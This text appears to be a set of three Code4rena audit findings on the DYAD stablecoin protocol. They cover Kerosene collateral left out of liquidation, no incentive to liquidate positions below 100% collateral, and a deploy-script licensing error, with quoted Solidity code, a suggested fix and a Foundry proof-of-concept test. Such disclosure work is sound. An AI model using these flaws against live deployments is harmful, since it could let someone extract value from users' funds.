https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Vulnerability details

Kerosene tokens should be liquidated during liquidation. They are part of the collateral covering minted DYAD and should be sent to liquidator. In current implementation vaultsKerosene are not being liquidated.

Proof of Concept

Let's take a look at liquidate function. In system there are two type of vaults that user can deposit into: vaults and vaultsKerosene. As we can see below, liquidate function only moves funds from vaults mapping.

function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }

Impact

User will not be fully liquidated during liqudation process.

Recommendations

Add for loop in liquidate function which loops through vaultsKerosene and liquidates these vaults during liquidation process.

Example pseudo-code:

function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }

++    numberOfVaults = vaultsKerosene[id].length();
++    for (uint i = 0; i < numberOfVaults; i++) {
++        Vault vault      = Vault(vaultsKerosene[id].at(i));
++        uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
++        vault.move(id, to, collateral);
++    }

      emit Liquidate(id, msg.sender, to);
  }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Vulnerability details

When user falls below 150% collateralization ratio he can be liquidated by other users. When his cr is below 150% and above 100% there is an 20% incentive for liquidating such positions. However when cr is below 100%, liquidators would lose money liquidating these positons as they would get collateral worth less (dollars) than they burn Dyad (dollars).

Proof of Concept

1. Let's assume that user has minted $100 worth of Dyad and has put $150 worth of collateral to back the positon.
2. User's collateral value dropped down to $90.
3. Now to liquidate user's position, liquidator has to burn $100 worth of DYAD and he will receive $90 worth of collateral.
4. Liquidator would lose $10 to liquidate user.

function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }

Impact

Positions with low cr will produce bad debt for protocol as there is no incentive for liquidating these positions.

Recommendations

One solution to this issue is to transfer Kerosene tokens to liquidator to cover up the losses that he would incur.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L95

Vulnerability details

Vulnerability details

In deploy script UnboundedKerosineVault is mistakenly licensed in Licenser instead of KeroseneMangaer. Because of that user can't add Kerosene vaults to vaultsKerosene mapping. Kerosene vaults should be added to vaultsKerosene. The issue is that they can't be added to vaultsKerosene but can be added into normal vaults and are treated as exteral collateral (breaking the protocol invirnat -> C: the total USD value of all exogenous collateral in the protocol (TVL). Critically, this total does not include Kerosene itself).

Proof of Concept

kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));
...
vaultLicenser.add(address(unboundedKerosineVault));

As we can see only ethVault and wstEth vaults are added to keroseneManager in order to be included in Kerosene token price calculation. UnboundedKeroseneVault is licensed in Licenser. As a result it can be added into vaults mapping and is treated same as weth or wsteth.

Please copy this test file into test/fork folder and run forge test --match-contract "TestPOC" -vvvv.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {Parameters} from "../../src/params/Parameters.sol";
import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Vault} from "../../src/core/Vault.sol";
import {VaultWstEth} from "../../src/core/Vault.wsteth.sol";
import {KerosineManager} from "../../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";

import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";

contract MockDenominator {
    function denominator() external view returns (uint256) {
        return 100_000_000 * 1e18;
    }
}

contract TestPOC is Test, Parameters {
    address owner;
    address user1;
    address user2;

    Dyad dyad;
    Licenser vaultLicenser;
    DNft dnft;
    VaultManagerV2 vaultManager;
    Vault ethVault;
    VaultWstEth wstEth;
    ERC20Mock mockErc20;
    Kerosine mockKerosene;
    OracleMock oracleMock;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    KerosineDenominator kerosineDenominator;
    MockDenominator mockDenominator;

    function setUp() public {
        owner = makeAddr("owner");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");

        mockDenominator = new MockDenominator();

        vaultLicenser = new Licenser();

        dyad = new Dyad(vaultLicenser);

        dnft = new DNft();

        vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser);

        mockErc20 = new ERC20Mock("MOCK", "MCK");

        mockKerosene = new Kerosine();

        oracleMock = new OracleMock(1000 * 1e8);

        ethVault = new Vault(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        wstEth = new VaultWstEth(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        kerosineManager = new KerosineManager();

        kerosineManager.add(address(ethVault));
        kerosineManager.add(address(wstEth));

        vaultManager.setKeroseneManager(kerosineManager);

        kerosineManager.transferOwnership(owner);

        unboundedKerosineVault = new UnboundedKerosineVault(
            vaultManager,
            mockKerosene,
            dyad,
            kerosineManager
        );

        boundedKerosineVault = new BoundedKerosineVault(
            vaultManager,
            mockKerosene,
            kerosineManager
        );

        kerosineDenominator = new KerosineDenominator(mockKerosene);

        unboundedKerosineVault.setDenominator(
            KerosineDenominator(address(mockDenominator))
        );

        unboundedKerosineVault.transferOwnership(owner);
        boundedKerosineVault.transferOwnership(owner);

        vaultLicenser.add(address(ethVault));
        vaultLicenser.add(address(wstEth));
        vaultLicenser.add(address(unboundedKerosineVault));
        vaultLicenser.add(address(boundedKerosineVault));

        vaultLicenser.transferOwnership(owner);

        vm.deal(owner, 100 ether);
        vm.deal(user1, 100 ether);
        vm.deal(user2, 100 ether);

        mockKerosene.transfer(user1, 500 ether);
        mockKerosene.transfer(user2, 500 ether);

        mockErc20.mint(user1, 100 ether);
        mockErc20.mint(user2, 100 ether);

        vm.prank(owner);
        vaultLicenser.add(address(vaultManager));
    }

    function testUserCantAddKeroseneVault() public {
        vm.prank(user1);
        dnft.mintNft{value: 1 ether}(user1);

        vm.startPrank(user1);
        vm.expectRevert();
        vaultManager.addKerosene(0, address(unboundedKerosineVault));
    }
}